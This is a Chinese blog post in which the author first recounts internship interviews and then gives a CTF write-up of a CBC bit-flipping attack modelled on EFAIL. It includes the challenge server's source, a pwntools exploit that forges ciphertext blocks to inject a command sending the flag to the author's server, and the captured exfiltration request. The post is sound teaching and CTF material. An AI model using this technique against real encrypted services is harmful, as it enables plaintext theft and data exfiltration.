最近在尝试找实习,研二如果还是自己搞感觉🙅‍♂️。

  • 阿里的面试官很好不过一面就结束了(面试前毫无准备…脑子里只有做pwn题的知识然而问的问题很广很多计算机的基础知识都反应不上来了,不过给出了很多实用的建议,比如修改简历等等,非常感谢刘大佬🙏)
  • 蚂蚁金服的大佬拿了简历就音信皆无
  • 字节的没有二进制岗了🙃
  • 最后腾讯的HR进了社团群,就发了简历内推,一面是战队以前的元老级队员明月师傅面的,问题基本都是做pwn的基础问题,过几天二面,问的内容也差不多,而且面试官还会补充你说的点,面完之后通知还有最后的HR面,10分钟后开始😂,聊了聊职业规划之类,面试就全结束了。毕竟是头一次走完整个面试流程,纪念一下。

一个礼拜内等结果ing。歇口气把之前在看的密码学的东西写一下。

🆕4月23日更新:HR小姐姐打了电话拿到了offer~开心开心开心。具体的面试问题和薪资似乎是高压线就不写了。

CBC Gadgets Attack

原理

块密码的加密模式中有一个就是CBC模式。流程很好理解,满足扩散和混淆的原则。不过在解密的时候可以发现:

  • IV影响第一个块的解密
  • 第n个块的密文影响第n+1个块的明文解密

简单举例:

  • 加密过程

$$
C_1 = f(P_1 \oplus IV, key)
$$

$$
C_2 = f(P_2 \oplus C_1, key)
$$

  • 解密过程(主要)

$$
P_1 = f^{-1}(C_1, key) \oplus IV
$$

$$
P_2 = f^{-1}(C_2, key) \oplus C_1
$$

$$
P_3 = f^{-1}(C_3, key) \oplus C_2
$$

$$

$$

$$
P_{n+1} = f^{-1}(C_{n+1}, key) \oplus C_n
$$

其中$f$是块加密函数,$f^{-1}$是解密函数,我们暂时不需要关心其内部实现。

如果我们已知明文信息和密文信息,那么我们可以通过篡改密文信息,解密出特定的明文信息。例如,将$C_2$的内容改为$C_2^{‘} = C_2 \oplus P_3 \oplus A$,其中$A$是我们想要解密出的明文。那么此时对$P_3$进行解密的时候,得出的结果为:
$$
P_3^{‘} = f^{-1}(C_3, key) \oplus { C_2 \oplus P_3 \oplus A } = A
$$
效果为:

  • $P_2$被解密为一个不知道的16字节
  • $P_3$被解密为$A$

我日这主题不支持公式的吗。。。

Real World Demo: EFAIL

有CVE编号的攻击哦。攻击者已知明文和密文的信息的话,可以构造密文,泄露明文。

以下是一个简单的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/env python3
import os
import re
import random
from urllib.error import HTTPError, URLError
from urllib.request import urlopen
from urllib.parse import quote
from base64 import b64encode, b64decode
from Crypto.Cipher import AES

with open('flag') as data:
flag = data.read()

# simplify mail format
mail_for_ctfplayer = '''
From: thor@ais3.org
To: ctfplayer@ais3.org

--BOUNDARY
Type: text
Welcome to AIS3 pre-exam.

--BOUNDARY
Type: cmd
echo 'This is the blog of oalieno'
web 'https://oalieno.github.io'
echo 'This is the blog of bamboofox team'
web 'https://bamboofox.github.io/'

--BOUNDARY
Type: text
You can find some useful tutorial on there.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.

--BOUNDARY
Type: text
Here is your flag : {}

--BOUNDARY
Type: text
Hope you like our crypto challenges.
Thanks for solving as always.
I'll catch you guys next time.
See ya!

--BOUNDARY
'''.format(flag).lstrip().encode('utf-8')

quotes = ['Keep on going never give up.',
'Believe in yourself.',
'Never say die.',
"Don't give up and don't give in.",
'Quitters never win and winners never quit.']

seen = False
key = os.urandom(16)
iv = os.urandom(16)

def pad(text):
L = -len(text) % 16
return text + bytes([L]) * L

def unpad(text):
L = text[-1]
if L > 16:
raise ValueError
for i in range(1, L + 1):
if text[-i] != L:
raise ValueError
return text[:-L]

def parse_mail(mail):
raw_mail = b""

# parse many chunk
while True:

# throw away the delimeter
_, _, mail = mail.partition(b'--BOUNDARY\n')
if not mail:
break

# parse Type
type_, _, mail = mail.partition(b'\n')
type_ = type_.split(b': ')[1]

# Type: text
if type_ == b'text':
text, _, mail = mail.partition(b'\n\n')
raw_mail += text + b'\n'

# Type: cmd
elif type_ == b'cmd':

# parse many cmd
while True:

# see '\n\n' then continue to next chunk
if mail[:1] == b'\n':
mail = mail[1:]
break

# parse cmd, content
cmd, _, mail = mail.partition(b"'")
# print('cmd: ')
# print(cmd)
# print('_: ')
# print(_)
# print('mail: ')
# print(mail)
content, _, mail = mail.partition(b"'\n")

# echo 'content' ( print some text )
if cmd.startswith(b'echo'):
raw_mail += content + b'\n'

# web 'content' ( preview some of the text on webpage )
elif cmd.startswith(b'web'):
x = content.find(b'//')
if x != -1:
url = content[:x].decode('utf-8') + '//' + quote(content[x+2:])
else:
url = 'http://' + quote(content)
try:
req = urlopen(url)
text = req.read()
raw_mail += b'+ ' + content + b'\n'
raw_mail += b'\n'.join(re.findall(b'<p>(.*)</p>', text)) + b'\n'
except (HTTPError, URLError) as e:
pass
return raw_mail

def read_mail(mail):
# I am so busy right now, no time to read the mails
# print(mail.decode())
pass

def getmail():
global seen
if not seen:
aes = AES.new(key, AES.MODE_CBC, iv)
mail = aes.encrypt(pad(mail_for_ctfplayer))
print(b64encode(mail).decode('utf-8'))
seen = True
else:
print('you have read all mails.')

def sendmail(mail):
mail = b64decode(mail)
aes = AES.new(key, AES.MODE_CBC, iv)
mail = unpad(aes.decrypt(mail))
# print(mail)
# with open('mail_log', 'wb') as file:
# file.write(mail)
mail = parse_mail(mail)
read_mail(mail)

def menu():
print('')
print('{:=^20}'.format(' menu '))
print('1) ctf player mailbox')
print('2) send me a mail')
print('3) quit')
print('=' * 20)

option = int(input('> ').strip())
if option == 1:
getmail()
elif option == 2:
mail = input('mail : ')
sendmail(mail)
elif option == 3:
print(random.choice(quotes))
else:
exit(0)

def main():
while True:
menu()

main()

通过mail_for_ctfplayer可以看出其中的协议。比较有趣的是其中的web命令,解析时会去请求后面的url并将内容加入到邮件中,类似于一个预览的功能。

明文大概这样:

1
2
3
4
5
6
7
8
9
10
11
This is the blog of bamboofox team
+ https://bamboofox.github.io/
cyber security club
You can find some useful tutorial on there.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.
Here is your flag : flag{testflag}
Hope you like our crypto challenges.
Thanks for solving as always.
I'll catch you guys next time.
See ya!

可以看到前面有一个url,后面有flag。攻击思路:把域名改掉,改为我们可控的服务器。之后把单引号去掉,这样后面的字符串会作为参数,处理邮件时发送给服务器,我们就可泄露出flag了。

写一个分组的程序,对应的攻击和效果会是这样:

1
2
3
4
5
6
7
8
9
13 b"amboofox team'\nw"     # web 字符串在这个位置
14 b"eb 'https://bamb" # 域名从这个位置开始
15 b'oofox.github.io/' #
16 b"'\n\n--BOUNDARY\nTy" # 改变这里的值,似的下一个块内容可控,此块内容random
17 b'pe: text\nYou can' # '\nwebxxxxxxxxxxx 补全一个block
18 b' find some usefu' # 继续控制下一个block,此块random
19 b'l tutorial on th' # 'keenan.top:666/ 在服务器抓请求
20 b'ere.\nAnd you mig'
21 b'ht be wondering '

因为如果直接改变域名的部分,留给我们写域名的长度很短。所以直接加个单引号让它结束,另起一行重新写一个web命令即可。协议中没有要求web之后要紧接内容,所以这里填充了也没关系,这样让域名重新在新的block中。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from base64 import b64encode, b64decode

context.log_level='debug'
p = remote('127.0.0.1', 7777)

flag = 'flag{123}'
mail = '''
From: thor@ais3.org
To: ctfplayer@ais3.org

--BOUNDARY
Type: text
Welcome to AIS3 pre-exam.

--BOUNDARY
Type: cmd
echo 'This is the blog of oalieno'
web 'https://oalieno.github.io'
echo 'This is the blog of bamboofox team'
web 'https://bamboofox.github.io/'

--BOUNDARY
Type: text
You can find some useful tutorial on there.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.

--BOUNDARY
Type: text
Here is your flag : {}

--BOUNDARY
Type: text
Hope you like our crypto challenges.
Thanks for solving as always.
I'll catch you guys next time.
See ya!

--BOUNDARY
'''.format(flag).lstrip().encode('utf-8')

p.sendlineafter('>', '1')

cipher = p.recvline().strip()
log.info(cipher)
cipher = b64decode(cipher)

# cipher blocks
cb = []
for i in range(0, len(cipher), 16):
cb.append(cipher[i:i+16])

# plain blocks
pb = []
for i in range(0, len(mail), 16):
pb.append(mail[i:i+16])


cb[16] = xor(cb[16], pb[17], b"'\nwebxxxxxxxxxxx")
cb[18] = xor(cb[18], pb[19], b"'keenan.top:12/x")

pl = b64encode(b''.join(cb))
p.sendlineafter('>', '2')
p.sendlineafter('mail :', pl)
p.interactive()

攻击后的明文部分:

1
2
3
4
5
6
7
8
9
--BOUNDARY
Type: cmd
echo 'This is the blog of oalieno'
web 'https://oalieno.github.io'
echo 'This is the blog of bamboofox team'
web 'https://bamboofox.github.io/�ж2s�_�;Uq��t'
webxxxxxxxxxxr���JG���ג�'keenan.top:12/xere.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.

服务器:

1
2
3
4
5
6
7
8
root@VM-0-10-ubuntu:/home/ubuntu# nc -lvv 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [59.125.45.164] port 80 [tcp/http] accepted (family 2, sport 34734)
GET /xxxxere.%0AAnd%20you%20might%20be%20wondering%20where%20is%20the%20flag%3F%0AJust%20hold%20tight%2C%20and%20remember%20that%20patient%20is%20virtue.%0A%0A--BOUNDARY%0AType%3A%20text%0AHere%20is%20your%20flag%20%3A%20flag%7Btestflag%7D%0A%0A%0A--BOUNDARY%0AType%3A%20text%0AHope%20you%20like%20our%20crypto%20challenges.%0AThanks%20for%20solving%20as%20always.%0AI%27ll%20catch%20you%20guys%20next%20time.%0ASee%20ya%21%0A%0A--BOUNDARY%0A HTTP/1.1
Accept-Encoding: identity
Host: keenan.top
User-Agent: Python-urllib/3.7
Connection: close

解码之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@VM-0-10-ubuntu:/home/ubuntu# nc -lvv 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [59.125.45.164] port 80 [tcp/http] accepted (family 2, sport 34734)
GET /xxxxere.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.

--BOUNDARY
Type: text
Here is your flag : flag{testflag}


--BOUNDARY
Type: text
Hope you like our crypto challenges.
Thanks for solving as always.
I'll catch you guys next time.
See ya!

--BOUNDARY
HTTP/1.1
Accept-Encoding: identity
Host: keenan.top
User-Agent: Python-urllib/3.7
Connection: close

成功泄露flag。